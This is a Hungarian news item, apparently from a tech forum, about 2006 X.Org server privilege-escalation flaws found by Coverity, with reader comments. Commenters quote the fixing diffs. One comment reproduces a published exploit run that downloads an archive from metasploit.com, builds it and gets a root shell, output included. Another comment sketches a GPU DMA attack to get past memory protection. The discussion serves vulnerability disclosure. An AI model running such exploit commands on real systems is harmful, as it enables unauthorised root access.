A Coverity Prevent nevű eszközt felhasználva fedezték fel a fejlesztők azt a hibát, amely a bejelentés szerint milliók számítógépén futó X Window System-et érinti.
Daniel Stone, az X.Org Foundation kiadáskért felelős menedzsere szerint a hiba egyike azoknak a legjelentősebb hibáknak, amelyet az elmúlt években fedeztek fel. Mint elmondta, olyan szintű hibáról van szó, amilyet kb. 3-6 évente egyszer fedeznek fel, és ami az X biztonságának szempontjából a közel a legrosszabb lehet.
Bővebben a bejelentésben.
(A bejelentésben nem szerepel, de a szóban forgó hiba valószínűleg a CVE-2006-1526-os (Clients authorized to connect to the X server are able to crash it and to execute malicious code within the X server) hibajegyen szereplő hiba. Az OpenBSD már be is jelentette a javításokat.)
- A hozzászóláshoz be kell jelentkezni
Hozzászólások
Gigalol a hiba, exploitálni meg triviális... ;)
- A hozzászóláshoz be kell jelentkezni
Ez tényleg nagyon gáz, csodálkozom is, hogy csak most derült ki...
A geteuid még hagyján, azt tényleg nehéz észrevenni, kivéve ha direkt ezt teszteli az ember, nade az ALLOCATE_LOCAL...
"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee."
-- Ted Ts'o
- A hozzászóláshoz be kell jelentkezni
Ez volt a hiba:
This:
if (getuid() == 0 || geteuid != 0)
Should have been this:
if (getuid() == 0 || geteuid() != 0)
Most azert nem vagyok poengyilkos, ugye?
- A hozzászóláshoz be kell jelentkezni
Bocs, de nem ez volt a hiba (mint ahogy az lwn-en is írtam, olvass lejjebb). Amit írtál, az egy három hónapos hiba.
A hiba ez volt:
if (npoint < 3)
return;
ntri = npoint - 2;
- tris = ALLOCATE_LOCAL (ntri & sizeof (xTriangle));
+ tris = ALLOCATE_LOCAL (ntri * sizeof (xTriangle));
if (!tris)
return;
for (tri = tris; npoint >= 3; npoint--, points++, tri++)
@@ -177,7 +177,7 @@
if (npoint < 3)
return;
ntri = npoint - 2;
- tris = ALLOCATE_LOCAL (ntri & sizeof (xTriangle));
+ tris = ALLOCATE_LOCAL (ntri * sizeof (xTriangle));
if (!tris)
return;
first = points++;
Úgyhogy nem vagy poéngyilkos.
--
trey @ gépház
- A hozzászóláshoz be kell jelentkezni
Jol ertem a hibat, hogy egy olyan X kliens, aminek amugyis van joga az X szerveren rajzolni, manipulalni az esemenyeket, a clipboardot, az eroforrasokat, most mar le is tudja fagyasztani a szervert, sot meg kodot is futtathat? Nem nevetseges ezt ekkora hibanak beallitani?
- A hozzászóláshoz be kell jelentkezni
Gondolkoztam rajta én is, hiszen volt már az elmúlt években néhány cifra X hiba. Szerintem ez úgy ment, hogy Coverity marketing szakembere azt gondolta kéne egy zsét keresni. Szólt az X-es csávóknak, hogy találtunk egy hibát, akarok-e pénztet keresni. Mondták, hogy hiba így is, úgy is van, akkor már miért ne lenne belőle pénz. 10%-ért helyeseltek, hogy milyen nagy hiba, meg hűha. A Coverity meg ettől nagyobb eladást remél.
És most mindenki boldog :-)
--
trey @ gépház
- A hozzászóláshoz be kell jelentkezni
Mind a két hibát a Coverity találta és nyilván a geteuid() a problémásabb... Exploitálni triviális, mint ahogy H D Moore is írta:
$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c
X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
[ snip ]
r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...
- A hozzászóláshoz be kell jelentkezni
"Mind a két hibát a Coverity találta"
Ki állította az ellenkezőjét?
"és nyilván a geteuid() a problémásabb..."
Ki vitatta? Annyit mondtam fentebb, hogy ez már egy régi hiba (márciusi, most meg azt hiszem májust írunk).
"Exploitálni triviális, mint ahogy H D Moore is írta:"
Senki sem állította, hogy nem.
Akkor ezt most miért is írtad ide? ;-)
--
trey @ gépház
- A hozzászóláshoz be kell jelentkezni
Mivel azt írtad kettővel feljebb, hogy "nem ez volt a hiba". De, ez _is_ X hiba és ezt _is_ a Coverity találta és _mindkettő_ security probléma és _mindkettőt_ könnyű kihasználni, ezért kicsit erős azt állítani, hogy ez csak egyszerű Coverity reklám volt. _Ezért_ írtam írtam ezt most ide. ;)
- A hozzászóláshoz be kell jelentkezni
Nem azt mondtam, hogy ez csak reklám volt, hanem azt, hogy mindamellett, hogy megtalálták a hibát, kicsit feltupírozva, odaállítva a X-es embert azt _is_ csináltak belőle.
--
trey @ gépház
- A hozzászóláshoz be kell jelentkezni
Én pl. még nagyobb csetepatét csapnék belőle, mert ez a "geteuid()" -> "geteuid" téma nekem erőteljesen backdoor szagúnak tűnik és nem véletlen programozási hibának. Emlékszünk még a kernel.org-os "current->uid == 0" -> "current->uid = 0" mutatványra, amelyet ugyan a szemfüles BitMoveres Larry észrevett, de már akkor is látszott, hogy a nyílt forrású megoldások ugyanúgy ki vannak szolgáltatva az ügyesen elrejtett kiskapuknak?
- A hozzászóláshoz be kell jelentkezni
Minden ki van téve mindennek. És jól mutatja azt, hogy Larry megtalálta (és milyen hamar!), hogy a nyílt forráskódban megtalálják. :-D
--
trey @ gépház
- A hozzászóláshoz be kell jelentkezni
És azt nézted már, hogy ez a geteuid backdoor mióta van az X-ben? ;)
- A hozzászóláshoz be kell jelentkezni
ironikusan mondta
- A hozzászóláshoz be kell jelentkezni
Nem néztem, mert nem érzem feladatomnak. Ellenben honnan veszed, hogy backdoor?
--
trey @ gépház
- A hozzászóláshoz be kell jelentkezni
Ő rakta oda. :))
"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee."
-- Ted Ts'o
- A hozzászóláshoz be kell jelentkezni
Nadenade az a franya X szerver amiben kodot futtatsz root jogokkal mukodik (kiveve egynemely "elborult" OS-en mint az OpenBSD)...
- A hozzászóláshoz be kell jelentkezni
Na ez volt az az információ, ami fölött elsiklottam. :)
- A hozzászóláshoz be kell jelentkezni
És ráadásul még azellennemvééd is az openbsd nem rootként fut megoldása is, mert az X szerver közvetlenül buzerál egy olyan hardvert, ami tetszőlegesen tud dma-zni. Innentől kezdve hiába fut userspaceben az X, csak egy olyan kódot kell injektálni, ami a gépben található grafkártya dma command regisztereibe beleírkál mindenfélét és voila, meg van kerülve a memóriavédelem. Azzal sincs gond, hogy milyen grafkártya van a gépben, mert kb 3 gyártó (Intel/Ati/Nvidia) termékei fedik a teljes piac 95%-át és a gyártók az egyes generációk között nem nagyon változtatgatnak az alap regiszterkiosztáson. Tehát gyakorlatilag switch(vendor) { case Ati: ... break; case Nvidia: ... break; case Intel: ... } és majdnem univerzális támadó kódunk van. Nem véletlen egyébként, hogy Theoék "evil"-nek nevezik a mai grafkártyákat. Szóval vagy rohamos gyorsasággal elkezdik rendbeszedni az X.org kódbázisát vagy nagyon gusztustalan exploitok fognak erre megjelenni.
---
Apparently the human mind is not unlike cookie dough.
- A hozzászóláshoz be kell jelentkezni